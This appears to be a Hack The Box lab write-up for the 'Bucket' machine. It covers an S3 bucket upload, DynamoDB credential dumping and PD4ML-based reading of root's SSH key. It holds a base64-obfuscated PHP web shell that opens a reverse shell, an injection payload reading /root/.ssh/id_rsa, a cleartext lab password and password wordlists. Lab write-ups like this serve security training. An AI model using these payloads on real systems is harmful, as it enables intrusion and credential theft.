# Bucket

<figure><img src="https://1130760026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9bhzgei4vAhFLAb3PDZF%2Fuploads%2FFoUpneSAOYqbgaJIv4z1%2Fimage.png?alt=media&#x26;token=7e706850-2e4b-4ace-a9c8-8128d92d9150" alt=""><figcaption></figcaption></figure>

## Detailed Walkthrough

### Initial Access

Upon establishing a connection to the VPN, the tester initiated the assessment by performing a service enumeration. This process revealed the following open ports:&#x20;

* 22/tcp open  OpenSSH 8.2p1
* 80/tcp open  HTTP redirect to <http://bucket.htb/>

<figure><img src="https://1130760026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9bhzgei4vAhFLAb3PDZF%2Fuploads%2F7cLzHIC8X3YHWrnxVehG%2Fimage.png?alt=media&#x26;token=3d95b9a7-474a-4827-8726-ae79b2f225c4" alt=""><figcaption></figcaption></figure>

Additionally, by looking the website source code, it was discovered `s3.bucket.htb` subdomain associated with the host indicating the presence of AWS implemented on the server.

<figure><img src="https://1130760026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9bhzgei4vAhFLAb3PDZF%2Fuploads%2F0yvCaE6AaBXwEjD6pdrN%2Fimage.png?alt=media&#x26;token=2dd5486c-1150-4e88-b2c7-b95af91e3e60" alt=""><figcaption></figcaption></figure>

Utilizing this information, the tester proceeded to use awscli to verify the scope and permissions of the S3 bucket. It was determined that the adserver bucket was completely publicly accessible with write permissions and was also hosting the files for the <http://bucket.htb/> application.

<pre class="language-sh"><code class="lang-sh">❯ aws s3 ls --endpoint-url http://s3.bucket.htb/
2025-10-26 19:41:41 adserver

❯ aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb/
                           PRE images/
2025-10-26 19:41:42       5344 index.html
<strong>
</strong><strong>❯ aws s3 sync s3://adserver adserver --endpoint-url http://s3.bucket.htb/
</strong>download: s3://adserver/index.html to adserver/index.html        
download: s3://adserver/images/bug.jpg to adserver/images/bug.jpg  
download: s3://adserver/images/malware.png to adserver/images/malware.png
download: s3://adserver/images/cloud.png to adserver/images/cloud.png

❯ aws s3 cp file.txt s3://adserver --endpoint-url http://s3.bucket.htb/
upload: ./file.txt to s3://adserver/file.txt  
</code></pre>

To compromise the server, the tester crafted a PHP shell and uploaded it to the bucket, which was subsequently activated by accessing <http://bucket.htb/shell.php>, successfully compromising the server.

```sh
❯ cat shell.php
<?php system('echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC8xMjM0IDA+JjE=|base64 -d|bash');?>

❯ aws s3 cp shell.php s3://adserver --endpoint-url http://s3.bucket.htb/
upload: ./shell.php to s3://adserver/shell.php 
```

<figure><img src="https://1130760026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9bhzgei4vAhFLAb3PDZF%2Fuploads%2F0h7ZC2glfmeaxGgdSyMT%2Fimage.png?alt=media&#x26;token=c3435ffa-572b-4faf-9592-2e3d72a2ce15" alt=""><figcaption></figcaption></figure>

### Lateral Movement

After gaining an initial foothold as `www-data`, the tester discovered `/home/roy/project/db.php`, which contained the DynamoDB client configuration pointing at a local endpoint (`http://localhost:4566`). This revealed a new internal service to enumerate.

```
www-data@bucket:/home/roy/project# cat db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();

//todo
```

Using the AWS CLI against the local endpoint (after configuring temporary fake credentials), the tester listed tables and scanned the `users` table, recovering several account records and password values.&#x20;

{% hint style="info" %}
One of the recovered credentials corresponded to the `roy` user, enabling direct lateral movement into that account.
{% endhint %}

```
www-data@bucket:~$ aws dynamodb list-tables  --endpoint-url http://localhost:4566
Unable to locate credentials. You can configure credentials by running "aws configure".
www-data@bucket:~$ aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [us-east-1]: 
Default output format [json]: json
www-data@bucket:~$ aws dynamodb list-tables  --endpoint-url http://localhost:4566
{
    "TableNames": [
        "users"
    ]
}
www-data@bucket:~$ aws dynamodb scan --table-name users --endpoint-url http://localhost:4566
{
    "Items": [
        {
            "password": {
                "S": "<SNIF>"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "<SNIF>"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "<SNIF>"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}
www-data@bucket:~$ 
```

### Privilege escalation

Once authenticated as `roy` user. it was identified an internal application running on 8000 port.

```
roy@bucket:/var/www/bucket-app$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:33555         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN 
```

The tester set up Local Port Forwarding via SSH to redirect the traffic from the tester's machine to the target machine using port 8000.&#x20;

```
❯ ssh -L 8000:127.0.0.1:8000 roy@bucket.htb 
```

<figure><img src="https://1130760026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9bhzgei4vAhFLAb3PDZF%2Fuploads%2F5t5YNw0VuK11MbumOPja%2Fimage.png?alt=media&#x26;token=86425783-9faa-4eb3-9502-7264974cbfd0" alt=""><figcaption></figcaption></figure>

Further investigation uncovered the internal application source code located at `/var/www/bucket-app/index.php`, which contains a remote command execution vulnerability due to the utilization of the `passthru` PHP function.

The application require a POST request to <http://localhost:8080> with the parameter `action=get_alerts`, which is triggered by `pd4ml_demo.jar` that is passed to `passthru` for execution.

```
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf")
```

{% hint style="info" %}
PD4ML is a Java-based tool designed to convert HTML and CSS content into PDF documents. It includes a useful tag known as [pd4ml:attachment](https://pd4ml.tech/support-topics/usage-examples/#add-attachment) , which allows for the inclusion of an arbitrary document or binary file as an attachment in the resulting PDF.
{% endhint %}

On the other hand, a DynamoDB table named alerts must exist with the following columns to facilitate the exploitation:

* title
* data

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php
</strong>require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
	if($_POST["action"]==="get_alerts") {
		date_default_timezone_set('America/New_York');
		$client = new DynamoDbClient([
			'profile' => 'default',
			'region'  => 'us-east-1',
			'version' => 'latest',
			'endpoint' => 'http://localhost:4566'
		]);

		$iterator = $client->getIterator('Scan', array(
			'TableName' => 'alerts',
			'FilterExpression' => "title = :title",
			'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
		));

		foreach ($iterator as $item) {
			$name=rand(1,10000).'.html';
			file_put_contents('files/'.$name,$item["data"]);
		}
		passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
	}
}
&#x3C;SNIF>
</code></pre>

In order to fulfill the requirements, the tester created the table along with the values necessary to attach the root's SSH keys into the resulted pdf.

```json
roy@bucket:/var/www/bucket-app$ aws --endpoint-url=http://localhost:4566 dynamodb create-table   --table-name alerts   --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S   --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE   --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5  
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            },
            {
                "AttributeName": "data",
                "AttributeType": "S"
            }
        ],
        "TableName": "alerts",
        "KeySchema": [
            {
                "AttributeName": "title",
                "KeyType": "HASH"
            },
            {
                "AttributeName": "data",
                "KeyType": "RANGE"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": 1761539651.319,
        "ProvisionedThroughput": {
            "LastIncreaseDateTime": 0.0,
            "LastDecreaseDateTime": 0.0,
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 5,
            "WriteCapacityUnits": 5
        },
        "TableSizeBytes": 0,
        "ItemCount": 0,
        "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
    }
}
roy@bucket:/var/www/bucket-app$  aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src='\''file:///root/.ssh/id_rsa'\'' description='\''test'\'' icon='\''Paperclip'\''/></html>"}}'
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}
```

Finally, the tester triggered the vulnerability and successfully downloaded the PDF, which led to the attachment of the root SSH keys, compromising the entire server as root user.

```
❯ curl -X POST 'http://127.0.0.1:8000/index.php'  -d 'action=get_alerts'
wget http://127.0.0.1:8000/files/result.pdf
```

<figure><img src="https://1130760026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9bhzgei4vAhFLAb3PDZF%2Fuploads%2F8IqxkjjXSBWDBnn5jBrG%2Fimage.png?alt=media&#x26;token=06c149b4-f108-44a0-9935-2289eca15c90" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1130760026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9bhzgei4vAhFLAb3PDZF%2Fuploads%2FlLOeXqJGXn8rc3sdxVSt%2Fimage.png?alt=media&#x26;token=065b0160-c30c-44eb-9e9f-ad61502407ac" alt=""><figcaption></figcaption></figure>

## Credentials

<table><thead><tr><th width="128">Username</th><th>Password</th><th>Methods</th><th width="137.24444580078125">Scope</th><th>Notes</th></tr></thead><tbody><tr><td>roy</td><td>n2vM-&#x3C;_K_Q:.Aa2</td><td>Extracted from DynamoDB</td><td>SSH User</td><td></td></tr></tbody></table>

#### 👤 Users wordlist

```
support@bucket.htb
roy
```

#### 🔑 Password wordlist

```
Management@#1@#
Welcome123!
n2vM-<_K_Q:.Aa2
Sysadm
```

## Subdomains / Hosts

| Subdomain / Host | Host         | Description                | Notes  |
| ---------------- | ------------ | -------------------------- | ------ |
| s3.bucket.htb    | 10.10.10.212 | Host the main application. | AWS S3 |

## Host Discovered

<table><thead><tr><th>Name</th><th>IP</th><th>Domain<select></select></th><th data-type="checkbox">Low Access</th><th data-type="checkbox">High Access</th><th>OS<select><option value="3gCuR9bppvmq" label="Windows" color="blue"></option><option value="pz6oFfCTwQUN" label="Linux" color="blue"></option></select></th></tr></thead><tbody><tr><td>Bucket</td><td>10.10.10.212</td><td></td><td>true</td><td>true</td><td><span data-option="3gCuR9bppvmq">Windows</span></td></tr></tbody></table>

## Scans

```sh
# Nmap 7.95 scan initiated Sat Oct 25 16:01:32 2025 as: /usr/lib/nmap/nmap --privileged --open -sS -Pn -n -p- -T5 -A -oN 10.10.10.212_tcp_allports -vvv 10.10.10.212
Nmap scan report for 10.10.10.212
Host is up, received user-set (0.077s latency).
Scanned at 2025-10-25 16:01:32 PDT for 36s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=10/25%OT=22%CT=1%CU=31675%PV=Y%DS=2%DC=T%G=N%TM=68FD56
OS:F0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST
OS:11NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Uptime guess: 36.040 days (since Fri Sep 19 15:04:58 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   77.37 ms 10.10.14.1
2   76.79 ms 10.10.10.212

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 25 16:02:08 2025 -- 1 IP address (1 host up) scanned in 36.10 seconds
```

## Scripts / Automations

```
```

## Flag Discovered

| Flag # | Host         | Flag location | Method used               | Value   |
| ------ | ------------ | ------------- | ------------------------- | ------- |
| User   | 10.10.10.212 | roy           | Extracted from Dynamodb   | \<SNIF> |
| Root   | 10.10.10.212 | root          | Abusing Local Application | \<SNIF> |
